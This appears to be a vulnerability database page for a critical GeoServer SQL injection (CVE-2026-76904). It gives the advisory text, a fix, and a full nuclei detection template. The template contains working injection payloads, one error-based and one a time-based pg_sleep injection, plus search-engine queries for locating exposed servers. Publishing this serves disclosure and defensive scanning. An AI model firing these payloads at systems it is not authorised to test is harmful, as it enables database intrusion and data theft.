Browse / CVEs / CVE-2026-76904
CVE-2026-76904· osgeo / geoserver· CWE-89
GeoServer jsonArrayContains CQL Filter - SQL Injection
GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. GeoTools FilterToSqlHelper.constructEquality writes the expected argument of the jsonArrayContains CQL function RAW into the SQL string while only escaping the JSON pointer. A single quote in the value parameter breaks out of the PostgreSQL jsonb_path_exists string literal, enabling unauthenticated SQL injection. When the PostGIS backend runs with superuser privileges, the injection escalates to operating system command execution through PostgreSQL COPY TO PROGRAM. Patches are available in GeoTools 33.6 and 34.5. No known workaround is available, so the scope can only be limited by restricting which CQL functions are exposed.
Impact
Successful exploitation allows unauthenticated attackers to execute arbitrary SQL queries against the PostGIS database, potentially leading to full database exfiltration, data manipulation, or remote code execution on the database server via COPY TO PROGRAM.
Fix
Upgrade GeoTools to version 33.6 or 34.5, or a GeoServer release that bundles one of them.
How to confirm it
Send: GET {{ctx}}/web/
Positive when: contains "GeoServer"
Send: GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetCapabilities
Positive when: contains "FeatureType"
Send: GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&maxFeatures=1&outputFormat=csv
Positive when: contains "FID"
Send: GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&CQL_FILTER=jsonArrayContains(%22{{column}}%22,%27/a%27,%27x%27%27%27)%20=%20true
Positive when: contains "PSQLException" or "SQL SELECT" or "jsonb_path_exists" or "syntax error" AND contains in header "text/xml"
Send: @timeout: 30s
Positive when: duration>=6Run it with nuclei: nuclei -id CVE-2026-76904 -u <target>
The full check
id: CVE-2026-76904
info:
name: GeoServer jsonArrayContains CQL Filter - SQL Injection
author: portbuster1337,DhiyaneshDk
severity: critical
description: |
GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. GeoTools FilterToSqlHelper.constructEquality writes the expected argument of the jsonArrayContains CQL function RAW into the SQL string while only escaping the JSON pointer. A single quote in the value parameter breaks out of the PostgreSQL jsonb_path_exists string literal, enabling unauthenticated SQL injection. When the PostGIS backend runs with superuser privileges, the injection escalates to operating system command execution through PostgreSQL COPY TO PROGRAM. Patches are available in GeoTools 33.6 and 34.5. No known workaround is available, so the scope can only be limited by restricting which CQL functions are exposed.
impact: |
Successful exploitation allows unauthenticated attackers to execute arbitrary SQL queries against the PostGIS database, potentially leading to full database exfiltration, data manipulation, or remote code execution on the database server via COPY TO PROGRAM.
remediation: |
Upgrade GeoTools to version 33.6 or 34.5, or a GeoServer release that bundles one of them.
reference:
- https://gist.github.com/portbuster1337/70d75ec246b85e3199037ce212ff1a06
- https://nvd.nist.gov/vuln/detail/CVE-2026-76904
- https://github.com/geotools/geotools/commit/d821c4d321dd91c22e31fcd5b1ce676645da5176
- https://github.com/geotools/geotools/pull/5829
- https://github.com/geotools/geotools/releases/tag/33.6
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-76904
cwe-id: CWE-89
epss-score: 0.03976
epss-percentile: 0.90572
cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*
metadata:
verified: "true"
max-request: 6
vendor: osgeo
product: geoserver
shodan-query:
- title:"geoserver"
- http.title:"geoserver"
fofa-query:
- title="geoserver"
- app="geoserver"
google-query: intitle:"geoserver"
tags: cve,cve2026,geoserver,sqli,jsonarraycontains,postgresql,osgeo,vkev
flow: |
set("ctx", "/geoserver");
http("detect");
if (!template["geoserver_detected"]) {
set("ctx", "");
http("detect");
}
if (template["geoserver_detected"]) {
http("capabilities");
for (var name of iterate(template["feature_names"])) {
set("name", name);
set("column", "");
http("get-column");
if (template["column"]) {
if (http("sqli-verify")) {
break;
}
if (http("sqli-time")) {
break;
}
}
}
}
http:
- id: detect
raw:
- |
GET {{ctx}}/web/ HTTP/1.1
Host: {{Hostname}}
redirects: true
max-redirects: 3
matchers:
- type: word
words:
- "GeoServer"
internal: true
extractors:
- type: regex
name: geoserver_detected
regex:
- '(GeoServer)'
group: 1
internal: true
part: body
- id: capabilities
raw:
- |
GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
words:
- "FeatureType"
internal: true
extractors:
- type: regex
name: feature_names
regex:
- '(?s)<FeatureType[^>]*>\s*<Name>([^<]+)</Name>'
group: 1
internal: true
part: body
- id: get-column
raw:
- |
GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&maxFeatures=1&outputFormat=csv HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
words:
- "FID"
internal: true
extractors:
- type: regex
name: column
regex:
- 'FID,([a-zA-Z_][a-zA-Z0-9_]*)'
group: 1
internal: true
part: body
- id: sqli-verify
raw:
- |
GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&CQL_FILTER=jsonArrayContains(%22{{column}}%22,%27/a%27,%27x%27%27%27)%20=%20true HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "PSQLException"
- "SQL SELECT"
- "jsonb_path_exists"
- "syntax error"
- "unterminated quoted string"
condition: or
- type: word
part: header
words:
- "text/xml"
extractors:
- type: dsl
name: matched_feature
dsl:
- "name"
- type: kval
kval:
- content_type
- id: sqli-time
raw:
- |
@timeout: 30s
GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&CQL_FILTER=jsonArrayContains(%22{{column}}%22,%27/a%27,%27x%22)%27%27)%20AND%20(SELECT%20pg_sleep(6))%20IS%20NOT%20NULL%20)--%27)%20=%20true HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- "duration>=6"
extractors:
- type: dsl
name: matched_feature
dsl:
- "name"References
- https://gist.github.com/portbuster1337/70d75ec246b85e3199037ce212ff1a06
- https://nvd.nist.gov/vuln/detail/CVE-2026-76904
- https://github.com/geotools/geotools/commit/d821c4d321dd91c22e31fcd5b1ce676645da5176
- https://github.com/geotools/geotools/pull/5829
- https://github.com/geotools/geotools/releases/tag/33.6
Use this check only on systems you are authorised to test. Where the data comes from